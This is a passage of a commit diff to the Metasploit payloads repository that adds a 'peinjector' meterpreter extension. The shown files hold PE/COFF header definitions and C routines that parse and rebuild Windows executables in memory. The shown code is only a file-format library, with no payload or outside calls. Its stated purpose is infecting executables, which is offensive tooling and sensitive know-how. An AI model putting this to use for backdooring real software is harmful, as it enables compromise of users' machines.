mirror of
https://github.com/rapid7/metasploit-payloads
synced 2024-11-26 17:41:08 +01:00
add peinjector
This commit is contained in:
parent
9ea9bef51a
commit
cf807f5004
211
c/meterpreter/source/extensions/peinjector/headers.h
Executable file
211
c/meterpreter/source/extensions/peinjector/headers.h
Executable file
@ -0,0 +1,211 @@
|
||||
/**
|
||||
* \file headers.h
|
||||
* \brief PE COFF constants and structures
|
||||
*/
|
||||
|
||||
#ifndef DEF_HEADERS_H_
|
||||
#define DEF_HEADERS_H_
|
||||
#include <inttypes.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#define NT_FILE_ALIGNMENT 0x200
|
||||
#define NT_SECTION_ALIGNMENT 0x1000
|
||||
|
||||
#define NT_SHORT_NAME_LEN 8
|
||||
|
||||
#define MZ_MAGIC 0x5A4D
|
||||
#define NT_MAGIC 0x00004550
|
||||
|
||||
#define NT_OPTIONAL_32_MAGIC 0x10B
|
||||
#define NT_OPTIONAL_64_MAGIC 0x20B
|
||||
|
||||
#define NT_OPTIONAL_MAXSECTIONS 0x10
|
||||
|
||||
#define DIR_EXPORT 0
|
||||
#define DIR_IMPORT 1
|
||||
#define DIR_RESOURCE 2
|
||||
#define DIR_EXCEPTION 3
|
||||
#define DIR_SECURITY 4
|
||||
#define DIR_BASERELOC 5
|
||||
#define DIR_DEBUG 6
|
||||
#define DIR_ARCHITECTURE 7
|
||||
#define DIR_GLOBALPTR 8
|
||||
#define DIR_TLS 9
|
||||
#define DIR_LOAD_CONFIG 10
|
||||
#define DIR_BOUND_IMPORT 11
|
||||
#define DIR_IAT 12
|
||||
#define DIR_DELAY_IMPORT 13
|
||||
#define DIR_COM_DESCRIPTOR 14
|
||||
|
||||
#define IMAGE_FILE_DLL 0x2000
|
||||
|
||||
#define IMAGE_SCN_TYPE_NO_PAD 0x00000008
|
||||
#define IMAGE_SCN_CNT_CODE 0x00000020
|
||||
#define IMAGE_SCN_CNT_INITIALIZED_DATA 0x00000040
|
||||
#define IMAGE_SCN_CNT_UNINITIALIZED_DATA 0x00000080
|
||||
#define IMAGE_SCN_LNK_OTHER 0x00000100
|
||||
#define IMAGE_SCN_LNK_INFO 0x00000200
|
||||
#define IMAGE_SCN_LNK_REMOVE 0x00000800
|
||||
#define IMAGE_SCN_LNK_COMDAT 0x00001000
|
||||
#define IMAGE_SCN_NO_DEFER_SPEC_EXC 0x00004000
|
||||
#define IMAGE_SCN_GPREL 0x00008000
|
||||
#define IMAGE_SCN_MEM_FARDATA 0x00008000
|
||||
#define IMAGE_SCN_MEM_PURGEABLE 0x00020000
|
||||
#define IMAGE_SCN_MEM_16BIT 0x00020000
|
||||
#define IMAGE_SCN_MEM_LOCKED 0x00040000
|
||||
#define IMAGE_SCN_MEM_PRELOAD 0x00080000
|
||||
#define IMAGE_SCN_ALIGN_1BYTES 0x00100000
|
||||
#define IMAGE_SCN_ALIGN_2BYTES 0x00200000
|
||||
#define IMAGE_SCN_ALIGN_4BYTES 0x00300000
|
||||
#define IMAGE_SCN_ALIGN_8BYTES 0x00400000
|
||||
#define IMAGE_SCN_ALIGN_16BYTES 0x00500000
|
||||
#define IMAGE_SCN_ALIGN_32BYTES 0x00600000
|
||||
#define IMAGE_SCN_ALIGN_64BYTES 0x00700000
|
||||
#define IMAGE_SCN_ALIGN_128BYTES 0x00800000
|
||||
#define IMAGE_SCN_ALIGN_256BYTES 0x00900000
|
||||
#define IMAGE_SCN_ALIGN_512BYTES 0x00A00000
|
||||
#define IMAGE_SCN_ALIGN_1024BYTES 0x00B00000
|
||||
#define IMAGE_SCN_ALIGN_2048BYTES 0x00C00000
|
||||
#define IMAGE_SCN_ALIGN_4096BYTES 0x00D00000
|
||||
#define IMAGE_SCN_ALIGN_8192BYTES 0x00E00000
|
||||
#define IMAGE_SCN_ALIGN_MASK 0x00F00000
|
||||
#define IMAGE_SCN_LNK_NRELOC_OVFL 0x01000000
|
||||
#define IMAGE_SCN_MEM_DISCARDABLE 0x02000000
|
||||
#define IMAGE_SCN_MEM_NOT_CACHED 0x04000000
|
||||
#define IMAGE_SCN_MEM_NOT_PAGED 0x08000000
|
||||
#define IMAGE_SCN_MEM_SHARED 0x10000000
|
||||
#define IMAGE_SCN_MEM_EXECUTE 0x20000000
|
||||
#define IMAGE_SCN_MEM_READ 0x40000000
|
||||
#define IMAGE_SCN_MEM_WRITE 0x80000000
|
||||
|
||||
#define IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE 0x0040
|
||||
#define IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY 0x0080
|
||||
#define IMAGE_DLL_CHARACTERISTICS_NX_COMPAT 0x0100
|
||||
#define IMAGE_DLLCHARACTERISTICS_NO_ISOLATION 0x0200
|
||||
#define IMAGE_DLLCHARACTERISTICS_NO_SEH 0x0400
|
||||
#define IMAGE_DLLCHARACTERISTICS_NO_BIND 0x0800
|
||||
#define IMAGE_DLLCHARACTERISTICS_WDM_DRIVER 0x2000
|
||||
#define IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE 0x8000
|
||||
|
||||
typedef struct _DOS_HEADER {
|
||||
uint16_t e_magic;
|
||||
uint16_t e_cblp;
|
||||
uint16_t e_cp;
|
||||
uint16_t e_crlc;
|
||||
uint16_t e_cparhdr;
|
||||
uint16_t e_minalloc;
|
||||
uint16_t e_maxalloc;
|
||||
uint16_t e_ss;
|
||||
uint16_t e_sp;
|
||||
uint16_t e_csum;
|
||||
uint16_t e_ip;
|
||||
uint16_t e_cs;
|
||||
uint16_t e_lfarlc;
|
||||
uint16_t e_ovno;
|
||||
uint16_t e_res[4];
|
||||
uint16_t e_oemid;
|
||||
uint16_t e_oeminfo;
|
||||
uint16_t e_res2[10];
|
||||
uint32_t e_lfanew;
|
||||
} DOS_HEADER;
|
||||
|
||||
typedef struct _PE_HEADER {
|
||||
uint32_t Signature;
|
||||
uint16_t Machine;
|
||||
uint16_t NumberOfSections;
|
||||
uint32_t TimeDateStamp;
|
||||
uint32_t PointerToSymbolTable;
|
||||
uint32_t NumberOfSymbols;
|
||||
uint16_t SizeOfOptionalHeader;
|
||||
uint16_t Characteristics;
|
||||
} PE_HEADER;
|
||||
|
||||
typedef struct _DATA_DIRECTORY {
|
||||
uint32_t VirtualAddress;
|
||||
uint32_t Size;
|
||||
} DATA_DIRECTORY;
|
||||
|
||||
typedef struct _OPTIONAL_HEADER_32 {
|
||||
uint16_t Magic;
|
||||
uint8_t MajorLinkerVersion;
|
||||
uint8_t MinorLinkerVersion;
|
||||
uint32_t SizeOfCode;
|
||||
uint32_t SizeOfInitializedData;
|
||||
uint32_t SizeOfUninitializedData;
|
||||
uint32_t AddressOfEntryPoint;
|
||||
uint32_t BaseOfCode;
|
||||
uint32_t BaseOfData;
|
||||
uint32_t ImageBase;
|
||||
uint32_t SectionAlignment;
|
||||
uint32_t FileAlignment;
|
||||
uint16_t MajorOperatingSystemVersion;
|
||||
uint16_t MinorOperatingSystemVersion;
|
||||
uint16_t MajorImageVersion;
|
||||
uint16_t MinorImageVersion;
|
||||
uint16_t MajorSubsystemVersion;
|
||||
uint16_t MinorSubsystemVersion;
|
||||
uint32_t Win32VersionValue;
|
||||
uint32_t SizeOfImage;
|
||||
uint32_t SizeOfHeaders;
|
||||
uint32_t CheckSum;
|
||||
uint16_t Subsystem;
|
||||
uint16_t DllCharacteristics;
|
||||
uint32_t SizeOfStackReserve;
|
||||
uint32_t SizeOfStackCommit;
|
||||
uint32_t SizeOfHeapReserve;
|
||||
uint32_t SizeOfHeapCommit;
|
||||
uint32_t LoaderFlags;
|
||||
uint32_t NumberOfRvaAndSizes;
|
||||
DATA_DIRECTORY DataDirectory[NT_OPTIONAL_MAXSECTIONS];
|
||||
} OPTIONAL_HEADER_32;
|
||||
|
||||
typedef struct _OPTIONAL_HEADER_64 {
|
||||
uint16_t Magic;
|
||||
uint8_t MajorLinkerVersion;
|
||||
uint8_t MinorLinkerVersion;
|
||||
uint32_t SizeOfCode;
|
||||
uint32_t SizeOfInitializedData;
|
||||
uint32_t SizeOfUninitializedData;
|
||||
uint32_t AddressOfEntryPoint;
|
||||
uint32_t BaseOfCode;
|
||||
uint64_t ImageBase;
|
||||
uint32_t SectionAlignment;
|
||||
uint32_t FileAlignment;
|
||||
uint16_t MajorOperatingSystemVersion;
|
||||
uint16_t MinorOperatingSystemVersion;
|
||||
uint16_t MajorImageVersion;
|
||||
uint16_t MinorImageVersion;
|
||||
uint16_t MajorSubsystemVersion;
|
||||
uint16_t MinorSubsystemVersion;
|
||||
uint32_t Win32VersionValue;
|
||||
uint32_t SizeOfImage;
|
||||
uint32_t SizeOfHeaders;
|
||||
uint32_t CheckSum;
|
||||
uint16_t Subsystem;
|
||||
uint16_t DllCharacteristics;
|
||||
uint64_t SizeOfStackReserve;
|
||||
uint64_t SizeOfStackCommit;
|
||||
uint64_t SizeOfHeapReserve;
|
||||
uint64_t SizeOfHeapCommit;
|
||||
uint32_t LoaderFlags;
|
||||
uint32_t NumberOfRvaAndSizes;
|
||||
DATA_DIRECTORY DataDirectory[NT_OPTIONAL_MAXSECTIONS];
|
||||
} OPTIONAL_HEADER_64;
|
||||
|
||||
typedef struct _SECTION_HEADER {
|
||||
uint8_t Name[NT_SHORT_NAME_LEN];
|
||||
union {
|
||||
uint32_t PhysicalAddress;
|
||||
uint32_t VirtualSize;
|
||||
} Misc;
|
||||
uint32_t VirtualAddress;
|
||||
uint32_t SizeOfRawData;
|
||||
uint32_t PointerToRawData;
|
||||
uint32_t PointerToRelocations;
|
||||
uint32_t PointerToLinenumbers;
|
||||
uint16_t NumberOfRelocations;
|
||||
uint16_t NumberOfLinenumbers;
|
||||
uint32_t Characteristics;
|
||||
} SECTION_HEADER;
|
||||
|
||||
#endif /* DEF_HEADERS_H_ */
|
619
c/meterpreter/source/extensions/peinjector/libpefile.c
Executable file
619
c/meterpreter/source/extensions/peinjector/libpefile.c
Executable file
@ -0,0 +1,619 @@
|
||||
/*
|
||||
* \file libpefile.c
|
||||
* \brief Manages disassembly and reassembly of the PE COFF File Format
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stddef.h>
|
||||
#include "libpefile.h"
|
||||
|
||||
/* Min/Max Macros */
|
||||
#define MIN(_a, _b) ((_a) < (_b) ? (_a) : (_b))
|
||||
#define MAX(_a, _b) ((_a) > (_b) ? (_a) : (_b))
|
||||
|
||||
/* Calculate raw size of image an validates positions and sizes. Returns 0 on error */
|
||||
static size_t __pefile_calculate_raw_size(PEFILE *in, PEFILE_WRITE_OPTIONS *options) {
|
||||
size_t i = 0;
|
||||
size_t ii = 0;
|
||||
size_t additional_end, section_end;
|
||||
|
||||
/* Raw size of Headers and padding */
|
||||
size_t size = in->dos_header.e_lfanew + sizeof(PE_HEADER) + in->pe_header.SizeOfOptionalHeader
|
||||
+ in->pe_header.NumberOfSections * sizeof(SECTION_HEADER) + in->header_padding.memsize;
|
||||
|
||||
/* Calculate header size only */
|
||||
if (options && options->header_only) {
|
||||
|
||||
/* If additional data is forced we need to add this size too. In this case, only 1 additional data
|
||||
* segment is allowed, and only if it's directly after the raw header (happens when parsing a
|
||||
* truncated pe file with header_only option) */
|
||||
if (options->force_additional) {
|
||||
if (in->additional_count > 1 || ((in->additional_count > 0) && (in->additional_data == NULL))) {
|
||||
return 0;
|
||||
} else if (in->additional_count > 0) {
|
||||
if (size == in->additional_data[0].position) {
|
||||
size += in->additional_data[0].memsize;
|
||||
} else {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
return size;
|
||||
}
|
||||
|
||||
/* Validate & add all Section sizes */
|
||||
if ((in->pe_header.NumberOfSections > 0) && (in->section_header == NULL)) {
|
||||
return 0;
|
||||
}
|
||||
for (i = 0; i < in->pe_header.NumberOfSections; ++i) {
|
||||
/* Nested sections */
|
||||
for (ii = 0; ii < in->pe_header.NumberOfSections; ++ii) {
|
||||
if ((i != ii) && (in->section_header[ii].PointerToRawData <= in->section_header[i].PointerToRawData)
|
||||
&& ((in->section_header[ii].PointerToRawData + in->section_header[ii].SizeOfRawData)
|
||||
>= (in->section_header[i].PointerToRawData + in->section_header[i].SizeOfRawData))) {
|
||||
size -= in->section_header[i].SizeOfRawData;
|
||||
}
|
||||
}
|
||||
size += in->section_header[i].SizeOfRawData;
|
||||
}
|
||||
|
||||
/* Validate & add all additional data */
|
||||
if ((in->additional_count > 0) && (in->additional_data == NULL)) {
|
||||
return 0;
|
||||
}
|
||||
for (i = 0; i < in->additional_count; ++i) {
|
||||
size += in->additional_data[i].memsize;
|
||||
}
|
||||
|
||||
/* Validate additional data positions */
|
||||
for (i = 0; i < in->additional_count; ++i) {
|
||||
if ((in->additional_data[i].position + in->additional_data[i].memsize) > size) {
|
||||
return 0;
|
||||
|
||||
} else {
|
||||
/* If additional data starts or ends inside section something is wrong */
|
||||
additional_end = in->additional_data[i].position + in->additional_data[i].memsize;
|
||||
for (ii = 0; ii < in->pe_header.NumberOfSections; ++ii) {
|
||||
section_end = in->section_header[ii].PointerToRawData + in->section_header[ii].SizeOfRawData;
|
||||
if (((in->additional_data[i].position >= in->section_header[ii].PointerToRawData)
|
||||
&& in->additional_data[i].position < section_end)
|
||||
|| ((additional_end > in->section_header[ii].PointerToRawData) && additional_end < section_end)) {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Validate Section positions */
|
||||
for (i = 0; i < in->pe_header.NumberOfSections; ++i) {
|
||||
if ((in->section_header[i].PointerToRawData + in->section_header[i].SizeOfRawData) > size) {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
return size;
|
||||
}
|
||||
|
||||
/* Adds additional data to an pe file structure. Return true on success, false otherwise*/
|
||||
static bool __pefile_add_additional_data(unsigned char *mem, size_t position, size_t size, PEFILE *out) {
|
||||
DATA_BLOB_EX *newAdditional = NULL;
|
||||
|
||||
out->additional_count++;
|
||||
newAdditional = realloc(out->additional_data, out->additional_count * sizeof(DATA_BLOB_EX));
|
||||
|
||||
/* Couldn't allocate memory */
|
||||
if (newAdditional == NULL) {
|
||||
return false;
|
||||
}
|
||||
out->additional_data = newAdditional;
|
||||
out->additional_data[out->additional_count - 1].position = position;
|
||||
out->additional_data[out->additional_count - 1].memsize = size;
|
||||
out->additional_data[out->additional_count - 1].mem = malloc(out->additional_data[out->additional_count - 1].memsize);
|
||||
|
||||
/* Couldn't allocate memory */
|
||||
if (out->additional_data[out->additional_count - 1].mem == NULL) {
|
||||
return false;
|
||||
}
|
||||
memcpy(out->additional_data[out->additional_count - 1].mem,
|
||||
mem + out->additional_data[out->additional_count - 1].position,
|
||||
out->additional_data[out->additional_count - 1].memsize);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool pefile_read_mem(unsigned char *mem, size_t memsize, PEFILE_READ_OPTIONS *options, PEFILE *out) {
|
||||
DOS_HEADER *dHead = NULL;
|
||||
PE_HEADER *pHead = NULL;
|
||||
OPTIONAL_HEADER_32 *oHead32 = NULL;
|
||||
OPTIONAL_HEADER_64 *oHead64 = NULL;
|
||||
SECTION_HEADER *firstsHead = NULL;
|
||||
unsigned char *dos_stub = NULL;
|
||||
size_t dos_stubsize = 0;
|
||||
size_t header_raw_end = 0;
|
||||
size_t header_padding_end = 0;
|
||||
size_t additional_end = 0;
|
||||
size_t additional_start = 0;
|
||||
size_t gap_start = 0;
|
||||
size_t gap_size = 0;
|
||||
size_t i = 0;
|
||||
size_t ii = 0;
|
||||
|
||||
/* Zero first */
|
||||
memset(out, 0, sizeof(PEFILE));
|
||||
|
||||
/* DOS Header Magic OK & Size OK */
|
||||
dHead = (DOS_HEADER*) mem;
|
||||
if ((memsize < sizeof(DOS_HEADER)) || (dHead->e_magic != MZ_MAGIC)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
/* PE Header Magic OK & Size OK) */
|
||||
pHead = (PE_HEADER *) (mem + dHead->e_lfanew);
|
||||
if ((memsize < dHead->e_lfanew + sizeof(PE_HEADER)) || (pHead->Signature != NT_MAGIC)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Save DOS Stub */
|
||||
/* Sometimes there is no DOS Stub, the PE Header can be inside the DOS Header */
|
||||
if (dHead->e_lfanew >= sizeof(DOS_HEADER) && (dHead->e_lfanew - sizeof(DOS_HEADER) > 0)) {
|
||||
dos_stub = mem + sizeof(DOS_HEADER);
|
||||
dos_stubsize = dHead->e_lfanew - sizeof(DOS_HEADER);
|
||||
}
|
||||
|
||||
/* Optional Header Magic OK & Size OK */
|
||||
oHead32 = (OPTIONAL_HEADER_32 *) (mem + dHead->e_lfanew + sizeof(PE_HEADER));
|
||||
oHead64 = (OPTIONAL_HEADER_64 *) oHead32;
|
||||
if (pHead->SizeOfOptionalHeader > 0) {
|
||||
if ((memsize < ((size_t) oHead32 - (size_t) mem) + pHead->SizeOfOptionalHeader)
|
||||
|| ((oHead32->Magic != NT_OPTIONAL_32_MAGIC) && (oHead64->Magic != NT_OPTIONAL_64_MAGIC))) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/* Section Table. Size Ok? */
|
||||
if (memsize
|
||||
< (dHead->e_lfanew + sizeof(PE_HEADER) + pHead->SizeOfOptionalHeader
|
||||
+ pHead->NumberOfSections * sizeof(SECTION_HEADER))) {
|
||||
return false;
|
||||
} else {
|
||||
firstsHead = (SECTION_HEADER *) (mem + dHead->e_lfanew + sizeof(PE_HEADER) + pHead->SizeOfOptionalHeader);
|
||||
}
|
||||
|
||||
/* Find real end of Header padding (Packers doing some shit with that ...) */
|
||||
/* Raw end and padding end defined in Optional Header*/
|
||||
header_raw_end = dHead->e_lfanew + sizeof(PE_HEADER) + pHead->SizeOfOptionalHeader
|
||||
+ pHead->NumberOfSections * sizeof(SECTION_HEADER);
|
||||
if (oHead32->Magic == NT_OPTIONAL_32_MAGIC) {
|
||||
header_padding_end = oHead32->SizeOfHeaders;
|
||||
} else {
|
||||
header_padding_end = oHead64->SizeOfHeaders;
|
||||
}
|
||||
|
||||
/* Section starting inside padding */
|
||||
for (i = 0; i < pHead->NumberOfSections; ++i) {
|
||||
if ((firstsHead[i].SizeOfRawData > 0) && firstsHead[i].PointerToRawData < header_padding_end) {
|
||||
/* Section inside Header */
|
||||
if (firstsHead[i].PointerToRawData < header_raw_end) {
|
||||
return false;
|
||||
}
|
||||
header_padding_end = firstsHead[i].PointerToRawData;
|
||||
}
|
||||
}
|
||||
|
||||
/* Header Padding in virtual space */
|
||||
if (header_padding_end > memsize) {
|
||||
header_padding_end = memsize;
|
||||
/* But must go till Section 0 */
|
||||
} else if ((pHead->NumberOfSections > 0) && header_padding_end < firstsHead[0].PointerToRawData) {
|
||||
header_padding_end = firstsHead[0].PointerToRawData;
|
||||
}
|
||||
|
||||
/* Copy DOS & PE Header*/
|
||||
memcpy(&out->dos_header, dHead, sizeof(DOS_HEADER));
|
||||
memcpy(&out->pe_header, pHead, sizeof(PE_HEADER));
|
||||
|
||||
/* Copy DOS Stub */
|
||||
if (dos_stub != NULL) {
|
||||
out->dos_stub.mem = malloc(dos_stubsize);
|
||||
out->dos_stub.memsize = dos_stubsize;
|
||||
memcpy(out->dos_stub.mem, dos_stub, dos_stubsize);
|
||||
}
|
||||
|
||||
/* Copy Optional Header */
|
||||
if (pHead->SizeOfOptionalHeader > 0) {
|
||||
if (oHead32->Magic == NT_OPTIONAL_32_MAGIC) {
|
||||
memcpy(&out->optional_header_32, oHead32, MIN(pHead->SizeOfOptionalHeader, sizeof(OPTIONAL_HEADER_32)));
|
||||
|
||||
/* Rare: Gap between Optional Header an Section Table */
|
||||
if (pHead->SizeOfOptionalHeader > sizeof(OPTIONAL_HEADER_32)) {
|
||||
gap_start = dHead->e_lfanew + sizeof(PE_HEADER) + sizeof(OPTIONAL_HEADER_32);
|
||||
gap_size = pHead->SizeOfOptionalHeader - sizeof(OPTIONAL_HEADER_32);
|
||||
}
|
||||
} else {
|
||||
memcpy(&out->optional_header_64, oHead64, MIN(pHead->SizeOfOptionalHeader, sizeof(OPTIONAL_HEADER_64)));
|
||||
|
||||
/* Rare: Gap between Optional Header an Section Table */
|
||||
if (pHead->SizeOfOptionalHeader > sizeof(OPTIONAL_HEADER_64)) {
|
||||
gap_start = dHead->e_lfanew + sizeof(PE_HEADER) + sizeof(OPTIONAL_HEADER_64);
|
||||
gap_size = pHead->SizeOfOptionalHeader - sizeof(OPTIONAL_HEADER_64);
|
||||
}
|
||||
}
|
||||
|
||||
/* Copy gap data if needed */
|
||||
if (gap_start > 0) {
|
||||
out->optional_header_gap.memsize = gap_size;
|
||||
out->optional_header_gap.mem = malloc(gap_size);
|
||||
|
||||
/* Couldn't allocate memory */
|
||||
if (out->optional_header_gap.mem == NULL) {
|
||||
pefile_free(out);
|
||||
return false;
|
||||
}
|
||||
memcpy(out->optional_header_gap.mem, mem + gap_start, gap_size);
|
||||
}
|
||||
}
|
||||
|
||||
/* Copy Section Headers & Sections */
|
||||
if (firstsHead != NULL && pHead->NumberOfSections > 0) {
|
||||
out->section_header = malloc(pHead->NumberOfSections * sizeof(SECTION_HEADER));
|
||||
|
||||
/* Couldn't allocate memory */
|
||||
if (out->section_header == NULL) {
|
||||
pefile_free(out);
|
||||
return false;
|
||||
}
|
||||
memcpy(out->section_header, firstsHead, pHead->NumberOfSections * sizeof(SECTION_HEADER));
|
||||
|
||||
/* Only if full analysis */
|
||||
if ((options == NULL) || ((options != NULL) && !options->header_only)) {
|
||||
/* Copy Sections & Additional Data */
|
||||
out->section_data = malloc(pHead->NumberOfSections * sizeof(DATA_BLOBC));
|
||||
for (i = 0; i < pHead->NumberOfSections; ++i) {
|
||||
if (firstsHead[i].SizeOfRawData) {
|
||||
out->section_data[i].memsize = firstsHead[i].SizeOfRawData;
|
||||
out->section_data[i].mem = malloc(out->section_data[i].memsize);
|
||||
|
||||
/* Couldn't allocate memory */
|
||||
if (out->section_data[i].mem == NULL) {
|
||||
pefile_free(out);
|
||||
return false;
|
||||
}
|
||||
memcpy(out->section_data[i].mem, mem + firstsHead[i].PointerToRawData, out->section_data[i].memsize);
|
||||
|
||||
/* Find additional Data between sections */
|
||||
additional_start = firstsHead[i].PointerToRawData + firstsHead[i].SizeOfRawData;
|
||||
additional_end = memsize;
|
||||
for (ii = 0; ii < pHead->NumberOfSections; ++ii) {
|
||||
if (i == ii) {
|
||||
continue;
|
||||
}
|
||||
if (firstsHead[ii].PointerToRawData == additional_start) {
|
||||
additional_end = additional_start;
|
||||
break;
|
||||
} else if ((firstsHead[ii].PointerToRawData > additional_start)
|
||||
&& (firstsHead[ii].PointerToRawData < additional_end)) {
|
||||
additional_end = firstsHead[ii].PointerToRawData;
|
||||
/* nested sections */
|
||||
} else if ((firstsHead[ii].PointerToRawData <= firstsHead[i].PointerToRawData)
|
||||
&& ((firstsHead[ii].PointerToRawData + firstsHead[ii].SizeOfRawData) >= additional_start)) {
|
||||
additional_end = additional_start;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/* Additional data found */
|
||||
if ((additional_start != additional_end)
|
||||
&& !__pefile_add_additional_data(mem, additional_start, additional_end - additional_start, out)) {
|
||||
|
||||
/* Something went wrong, terminate */
|
||||
pefile_free(out);
|
||||
return false;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
/* Force add data (everything after header, useful for truncated pe files
|
||||
* which shall be reassembled later */
|
||||
} else if (options->force_additional && (memsize - header_padding_end > 0)
|
||||
&& !__pefile_add_additional_data(mem, header_padding_end, memsize - header_padding_end, out)) {
|
||||
|
||||
/* Something went wrong, terminate */
|
||||
pefile_free(out);
|
||||
return false;
|
||||
}
|
||||
|
||||
} else if ((options != NULL) && !(options->header_only && !options->force_additional)) {
|
||||
/* No Sections: Everything else is additional */
|
||||
if ((memsize - header_padding_end) > 0
|
||||
&& !__pefile_add_additional_data(mem, header_padding_end, memsize - header_padding_end, out)) {
|
||||
|
||||
/* Something went wrong, terminate */
|
||||
pefile_free(out);
|
||||
return false;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/* Copy real Header Padding */
|
||||
out->header_padding.position = header_raw_end; /* Won't be used for building, just a shortcut to real header size */
|
||||
if (header_padding_end - header_raw_end > 0) {
|
||||
out->header_padding.memsize = header_padding_end - header_raw_end;
|
||||
out->header_padding.mem = malloc(out->header_padding.memsize);
|
||||
memcpy(out->header_padding.mem, mem + header_raw_end, out->header_padding.memsize);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void pefile_init(PEFILE *in) {
|
||||
memset(in, 0, sizeof(PEFILE));
|
||||
}
|
||||
|
||||
bool pefile_read_file(char *file, PEFILE_READ_OPTIONS *options, PEFILE *out) {
|
||||
bool returnVar = false;
|
||||
unsigned char *file_mem;
|
||||
|
||||
/* Open file */
|
||||
FILE *fh = fopen(file, "rb");
|
||||
|
||||
if (fh != NULL) {
|
||||
|
||||
/* Get file size and allocate buffer */
|
||||
fseek(fh, 0L, SEEK_END);
|
||||
size_t size = ftell(fh);
|
||||
size_t read_size = 0;
|
||||
rewind(fh);
|
||||
file_mem = malloc(size);
|
||||
|
||||
if (file_mem != NULL) {
|
||||
/* Load file into buffer */
|
||||
read_size = fread(file_mem, size, 1, fh);
|
||||
fclose(fh);
|
||||
fh = NULL;
|
||||
|
||||
/* Process PE file in memory */
|
||||
if (read_size == 1) {
|
||||
returnVar = pefile_read_mem(file_mem, size, options, out);
|
||||
}
|
||||
|
||||
/* free buffer after use */
|
||||
free(file_mem);
|
||||
}
|
||||
|
||||
/* Close file (if memory allocation has failed) */
|
||||
if (fh != NULL) {
|
||||
fclose(fh);
|
||||
}
|
||||
}
|
||||
|
||||
return returnVar;
|
||||
}
|
||||
|
||||
bool pefile_write_mem(PEFILE *in, PEFILE_WRITE_OPTIONS *options, unsigned char **mem, size_t *memsize) {
|
||||
size_t position = 0;
|
||||
size_t i = 0;
|
||||
uint64_t checksum = 0;
|
||||
uint64_t top = 0xffffffff + 0x01;
|
||||
size_t gap_start = 0;
|
||||
size_t gap_size = 0;
|
||||
|
||||
/* Allocate needed memory */
|
||||
*memsize = __pefile_calculate_raw_size(in, options);
|
||||
|
||||
/* Try allocate memory */
|
||||
if (*memsize > 0) {
|
||||
*mem = malloc(*memsize);
|
||||
|
||||
/* Couldn't allocate memory */
|
||||
if (mem == NULL) {
|
||||
return false;
|
||||
}
|
||||
} else {
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Write DOS Header*/
|
||||
memcpy(*mem, &in->dos_header, sizeof(DOS_HEADER));
|
||||
|
||||
/* Write PE Header */
|
||||
position = in->dos_header.e_lfanew;
|
||||
memcpy(*mem + position, &in->pe_header, sizeof(PE_HEADER));
|
||||
|
||||
/* Write DOS Stub if needed */
|
||||
if (in->dos_stub.memsize) {
|
||||
position = sizeof(DOS_HEADER);
|
||||
memcpy(*mem + position, in->dos_stub.mem, in->dos_stub.memsize);
|
||||
}
|
||||
|
||||
/* Write Optional Header if needed */
|
||||
if (in->pe_header.SizeOfOptionalHeader > 0) {
|
||||
position = in->dos_header.e_lfanew + sizeof(PE_HEADER);
|
||||
if (in->optional_header_32.Magic == NT_OPTIONAL_32_MAGIC) {
|
||||
memcpy(*mem + position, &in->optional_header_32,
|
||||
MIN(in->pe_header.SizeOfOptionalHeader, sizeof(OPTIONAL_HEADER_32)));
|
||||
|
||||
/* Rare: Gap between Optional Header an Section Table */
|
||||
if (in->pe_header.SizeOfOptionalHeader > sizeof(OPTIONAL_HEADER_32)) {
|
||||
gap_start = in->dos_header.e_lfanew + sizeof(PE_HEADER) + sizeof(OPTIONAL_HEADER_32);
|
||||
gap_size = in->pe_header.SizeOfOptionalHeader - sizeof(OPTIONAL_HEADER_32);
|
||||
}
|
||||
} else if (in->optional_header_64.Magic == NT_OPTIONAL_64_MAGIC) {
|
||||
memcpy(*mem + position, &in->optional_header_64,
|
||||
MIN(in->pe_header.SizeOfOptionalHeader, sizeof(OPTIONAL_HEADER_64)));
|
||||
|
||||
/* Rare: Gap between Optional Header an Section Table */
|
||||
if (in->pe_header.SizeOfOptionalHeader > sizeof(OPTIONAL_HEADER_64)) {
|
||||
gap_start = in->dos_header.e_lfanew + sizeof(PE_HEADER) + sizeof(OPTIONAL_HEADER_64);
|
||||
gap_size = in->pe_header.SizeOfOptionalHeader - sizeof(OPTIONAL_HEADER_64);
|
||||
}
|
||||
}
|
||||
|
||||
/* Fill gap if there is saved data */
|
||||
if (gap_start && (in->optional_header_gap.mem != NULL)) {
|
||||
memcpy(*mem + gap_start, in->optional_header_gap.mem, MIN(gap_size, in->optional_header_gap.memsize));
|
||||
}
|
||||
}
|
||||
|
||||
/* Writes Section Table if needed */
|
||||
if (in->pe_header.NumberOfSections > 0) {
|
||||
position = in->dos_header.e_lfanew + sizeof(PE_HEADER) + in->pe_header.SizeOfOptionalHeader;
|
||||
memcpy(*mem + position, in->section_header, in->pe_header.NumberOfSections * sizeof(SECTION_HEADER));
|
||||
}
|
||||
|
||||
/* Writes Header Padding if needed */
|
||||
if ((in->header_padding.mem != NULL) && (in->header_padding.position > 0)) {
|
||||
position = in->dos_header.e_lfanew + sizeof(PE_HEADER) + in->pe_header.SizeOfOptionalHeader
|
||||
+ in->pe_header.NumberOfSections * sizeof(SECTION_HEADER);
|
||||
memcpy(*mem + position, in->header_padding.mem, in->header_padding.memsize);
|
||||
}
|
||||
|
||||
/* Header Only */
|
||||
/* Exception: force_additional override */
|
||||
if (options != NULL && options->header_only && !options->force_additional) {
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Write additional Data */
|
||||
if (in->additional_count > 0) {
|
||||
for (i = 0; i < in->additional_count; ++i) {
|
||||
